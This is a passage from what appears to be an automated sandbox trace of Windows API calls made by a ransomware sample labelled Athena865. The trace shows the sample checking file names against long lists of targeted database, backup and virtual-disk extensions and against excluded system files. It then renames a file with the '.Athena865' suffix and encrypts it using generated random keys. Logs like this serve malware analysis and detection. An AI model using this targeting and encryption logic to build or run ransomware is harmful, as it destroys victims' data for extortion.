lstrlenW (lpString="mas") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0093.705] lstrlenW (lpString="mav") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0093.705] lstrlenW (lpString="maw") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0093.705] lstrlenW (lpString="mdbhtml") returned 7 [0093.705] lstrcmpiW (lpString1="exe.mui", lpString2="mdbhtml") returned -1 [0093.705] lstrlenW (lpString="mdn") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0093.705] lstrlenW (lpString="mdt") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0093.705] lstrlenW (lpString="mfd") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0093.705] lstrlenW (lpString="mpd") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0093.706] lstrlenW (lpString="mrg") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0093.706] lstrlenW (lpString="mud") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0093.706] lstrlenW (lpString="mwb") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0093.706] lstrlenW (lpString="myd") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0093.706] lstrlenW (lpString="ndf") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0093.706] lstrlenW (lpString="nnt") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0093.706] lstrlenW (lpString="nrmlib") returned 6 [0093.706] lstrcmpiW (lpString1="xe.mui", lpString2="nrmlib") returned 1 [0093.706] lstrlenW (lpString="ns2") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0093.706] lstrlenW (lpString="ns3") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0093.706] lstrlenW (lpString="ns4") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0093.706] lstrlenW (lpString="nsf") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0093.706] lstrlenW (lpString="nv") returned 2 [0093.706] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0093.706] lstrlenW (lpString="nv2") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0093.706] lstrlenW (lpString="nwdb") returned 4 [0093.706] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0093.706] lstrlenW (lpString="nyf") returned 3 [0093.706] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0093.707] lstrlenW (lpString="odb") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.707] lstrlenW (lpString="odb") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.707] lstrlenW (lpString="oqy") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0093.707] lstrlenW (lpString="ora") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0093.707] lstrlenW (lpString="orx") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0093.707] lstrlenW (lpString="owc") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0093.707] lstrlenW (lpString="p96") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0093.707] lstrlenW (lpString="p97") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0093.707] lstrlenW (lpString="pan") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0093.707] lstrlenW (lpString="pdb") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0093.707] lstrlenW (lpString="pdm") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0093.707] lstrlenW (lpString="pnz") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0093.707] lstrlenW (lpString="qry") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0093.707] lstrlenW (lpString="qvd") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0093.707] lstrlenW (lpString="rbf") returned 3 [0093.707] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0093.708] lstrlenW (lpString="rctd") returned 4 [0093.708] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0093.708] lstrlenW (lpString="rod") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0093.708] lstrlenW (lpString="rodx") returned 4 [0093.708] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0093.708] lstrlenW (lpString="rpd") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0093.708] lstrlenW (lpString="rsd") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0093.708] lstrlenW (lpString="sas7bdat") returned 8 [0093.708] lstrcmpiW (lpString1=".exe.mui", lpString2="sas7bdat") returned -1 [0093.708] lstrlenW (lpString="sbf") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0093.708] lstrlenW (lpString="scx") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0093.708] lstrlenW (lpString="sdb") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0093.708] lstrlenW (lpString="sdc") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0093.708] lstrlenW (lpString="sdf") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0093.708] lstrlenW (lpString="sis") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0093.708] lstrlenW (lpString="spq") returned 3 [0093.708] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0093.708] lstrlenW (lpString="te") returned 2 [0093.708] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0093.708] lstrlenW (lpString="teacher") returned 7 [0093.708] lstrcmpiW (lpString1="exe.mui", lpString2="teacher") returned -1 [0093.708] lstrlenW (lpString="tmd") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0093.709] lstrlenW (lpString="tps") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0093.709] lstrlenW (lpString="trc") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.709] lstrlenW (lpString="trc") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.709] lstrlenW (lpString="trm") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0093.709] lstrlenW (lpString="udb") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0093.709] lstrlenW (lpString="udl") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0093.709] lstrlenW (lpString="usr") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0093.709] lstrlenW (lpString="v12") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0093.709] lstrlenW (lpString="vis") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0093.709] lstrlenW (lpString="vpd") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0093.709] lstrlenW (lpString="vvv") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0093.709] lstrlenW (lpString="wdb") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0093.709] lstrlenW (lpString="wmdb") returned 4 [0093.709] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0093.709] lstrlenW (lpString="wrk") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0093.709] lstrlenW (lpString="xdb") returned 3 [0093.709] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0093.709] lstrlenW (lpString="xld") returned 3 [0093.710] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0093.710] lstrlenW (lpString="xmlff") returned 5 [0093.710] lstrcmpiW (lpString1="e.mui", lpString2="xmlff") returned -1 [0093.710] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui.Athena865") returned 73 [0093.710] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iexplore.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iexplore.exe.mui.athena865"), dwFlags=0x1) returned 1 [0093.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iexplore.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.711] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5120) returned 1 [0093.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.711] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.712] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.712] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.712] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1700, lpName=0x0) returned 0x17c [0093.712] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1700) returned 0x100000 [0093.713] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.713] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.713] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.714] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.714] CloseHandle (hObject=0x17c) returned 1 [0093.714] CloseHandle (hObject=0x154) returned 1 [0093.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.728] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".") returned 1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="..") returned 1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="windows") returned -1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="bootmgr") returned 1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="temp") returned -1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="pagefile.sys") returned -1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="boot") returned 1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="ids.txt") returned 1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="ntuser.dat") returned -1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="perflogs") returned -1 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="MSBuild") returned -1 [0093.728] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0093.728] lstrcpyW (in: lpString1=0x241e8a6, lpString2="jsdbgui.dll.mui" | out: lpString1="jsdbgui.dll.mui") returned="jsdbgui.dll.mui" [0093.728] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0093.728] lstrlenW (lpString="Athena865") returned 9 [0093.728] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0093.728] lstrlenW (lpString=".dll") returned 4 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".dll") returned 1 [0093.728] lstrlenW (lpString=".lnk") returned 4 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".lnk") returned 1 [0093.728] lstrlenW (lpString=".ini") returned 4 [0093.728] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".ini") returned 1 [0093.729] lstrlenW (lpString=".sys") returned 4 [0093.729] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".sys") returned 1 [0093.729] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0093.729] lstrlenW (lpString="bak") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0093.729] lstrlenW (lpString="ba_") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0093.729] lstrlenW (lpString="dbb") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0093.729] lstrlenW (lpString="vmdk") returned 4 [0093.729] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0093.729] lstrlenW (lpString="rar") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0093.729] lstrlenW (lpString="zip") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0093.729] lstrlenW (lpString="tgz") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0093.729] lstrlenW (lpString="vbox") returned 4 [0093.729] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0093.729] lstrlenW (lpString="vdi") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0093.729] lstrlenW (lpString="vhd") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0093.729] lstrlenW (lpString="vhdx") returned 4 [0093.729] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0093.729] lstrlenW (lpString="avhd") returned 4 [0093.729] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0093.729] lstrlenW (lpString="db") returned 2 [0093.729] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0093.729] lstrlenW (lpString="db2") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0093.729] lstrlenW (lpString="db3") returned 3 [0093.729] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0093.730] lstrlenW (lpString="dbf") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0093.730] lstrlenW (lpString="mdf") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0093.730] lstrlenW (lpString="mdb") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0093.730] lstrlenW (lpString="sql") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0093.730] lstrlenW (lpString="sqlite") returned 6 [0093.730] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0093.730] lstrlenW (lpString="sqlite3") returned 7 [0093.730] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0093.730] lstrlenW (lpString="sqlitedb") returned 8 [0093.730] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0093.730] lstrlenW (lpString="xml") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0093.730] lstrlenW (lpString="$er") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0093.730] lstrlenW (lpString="4dd") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0093.730] lstrlenW (lpString="4dl") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0093.730] lstrlenW (lpString="^^^") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0093.730] lstrlenW (lpString="abs") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0093.730] lstrlenW (lpString="abx") returned 3 [0093.730] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0093.730] lstrlenW (lpString="accdb") returned 5 [0093.730] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0093.730] lstrlenW (lpString="accdc") returned 5 [0093.730] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0093.730] lstrlenW (lpString="accde") returned 5 [0093.731] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0093.731] lstrlenW (lpString="accdr") returned 5 [0093.731] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0093.731] lstrlenW (lpString="accdt") returned 5 [0093.731] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0093.731] lstrlenW (lpString="accdw") returned 5 [0093.731] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0093.731] lstrlenW (lpString="accft") returned 5 [0093.731] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0093.731] lstrlenW (lpString="adb") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.731] lstrlenW (lpString="adb") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.731] lstrlenW (lpString="ade") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0093.731] lstrlenW (lpString="adf") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0093.731] lstrlenW (lpString="adn") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0093.731] lstrlenW (lpString="adp") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0093.731] lstrlenW (lpString="alf") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0093.731] lstrlenW (lpString="ask") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0093.731] lstrlenW (lpString="btr") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0093.731] lstrlenW (lpString="cat") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0093.731] lstrlenW (lpString="cdb") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0093.731] lstrlenW (lpString="ckp") returned 3 [0093.731] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0093.731] lstrlenW (lpString="cma") returned 3 [0093.732] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0093.732] lstrlenW (lpString="cpd") returned 3 [0093.732] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0093.732] lstrlenW (lpString="dacpac") returned 6 [0093.732] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0093.732] lstrlenW (lpString="dad") returned 3 [0093.732] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0093.732] lstrlenW (lpString="dadiagrams") returned 10 [0093.732] lstrcmpiW (lpString1="ui.dll.mui", lpString2="dadiagrams") returned 1 [0093.732] lstrlenW (lpString="daschema") returned 8 [0093.732] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0093.732] lstrlenW (lpString="db-journal") returned 10 [0093.732] lstrcmpiW (lpString1="ui.dll.mui", lpString2="db-journal") returned 1 [0093.732] lstrlenW (lpString="db-shm") returned 6 [0093.732] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0093.732] lstrlenW (lpString="db-wal") returned 6 [0093.732] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0093.732] lstrlenW (lpString="dbc") returned 3 [0093.732] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0093.732] lstrlenW (lpString="dbs") returned 3 [0093.732] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0093.732] lstrlenW (lpString="dbt") returned 3 [0093.732] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0093.732] lstrlenW (lpString="dbv") returned 3 [0093.732] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0093.732] lstrlenW (lpString="dbx") returned 3 [0093.732] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0093.733] lstrlenW (lpString="dcb") returned 3 [0093.733] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0093.734] lstrlenW (lpString="dct") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0093.734] lstrlenW (lpString="dcx") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0093.734] lstrlenW (lpString="ddl") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0093.734] lstrlenW (lpString="dlis") returned 4 [0093.734] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0093.734] lstrlenW (lpString="dp1") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0093.734] lstrlenW (lpString="dqy") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0093.734] lstrlenW (lpString="dsk") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0093.734] lstrlenW (lpString="dsn") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0093.734] lstrlenW (lpString="dtsx") returned 4 [0093.734] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0093.734] lstrlenW (lpString="dxl") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0093.734] lstrlenW (lpString="eco") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0093.734] lstrlenW (lpString="ecx") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0093.734] lstrlenW (lpString="edb") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0093.734] lstrlenW (lpString="epim") returned 4 [0093.734] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0093.734] lstrlenW (lpString="fcd") returned 3 [0093.734] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0093.734] lstrlenW (lpString="fdb") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0093.735] lstrlenW (lpString="fic") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0093.735] lstrlenW (lpString="flexolibrary") returned 12 [0093.735] lstrcmpiW (lpString1="bgui.dll.mui", lpString2="flexolibrary") returned -1 [0093.735] lstrlenW (lpString="fm5") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0093.735] lstrlenW (lpString="fmp") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0093.735] lstrlenW (lpString="fmp12") returned 5 [0093.735] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0093.735] lstrlenW (lpString="fmpsl") returned 5 [0093.735] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0093.735] lstrlenW (lpString="fol") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0093.735] lstrlenW (lpString="fp3") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0093.735] lstrlenW (lpString="fp4") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0093.735] lstrlenW (lpString="fp5") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0093.735] lstrlenW (lpString="fp7") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0093.735] lstrlenW (lpString="fpt") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0093.735] lstrlenW (lpString="frm") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0093.735] lstrlenW (lpString="gdb") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.735] lstrlenW (lpString="gdb") returned 3 [0093.735] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.736] lstrlenW (lpString="grdb") returned 4 [0093.736] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0093.736] lstrlenW (lpString="gwi") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0093.736] lstrlenW (lpString="hdb") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0093.736] lstrlenW (lpString="his") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0093.736] lstrlenW (lpString="ib") returned 2 [0093.736] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0093.736] lstrlenW (lpString="idb") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0093.736] lstrlenW (lpString="ihx") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0093.736] lstrlenW (lpString="itdb") returned 4 [0093.736] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0093.736] lstrlenW (lpString="itw") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0093.736] lstrlenW (lpString="jet") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0093.736] lstrlenW (lpString="jtx") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0093.736] lstrlenW (lpString="kdb") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0093.736] lstrlenW (lpString="kexi") returned 4 [0093.736] 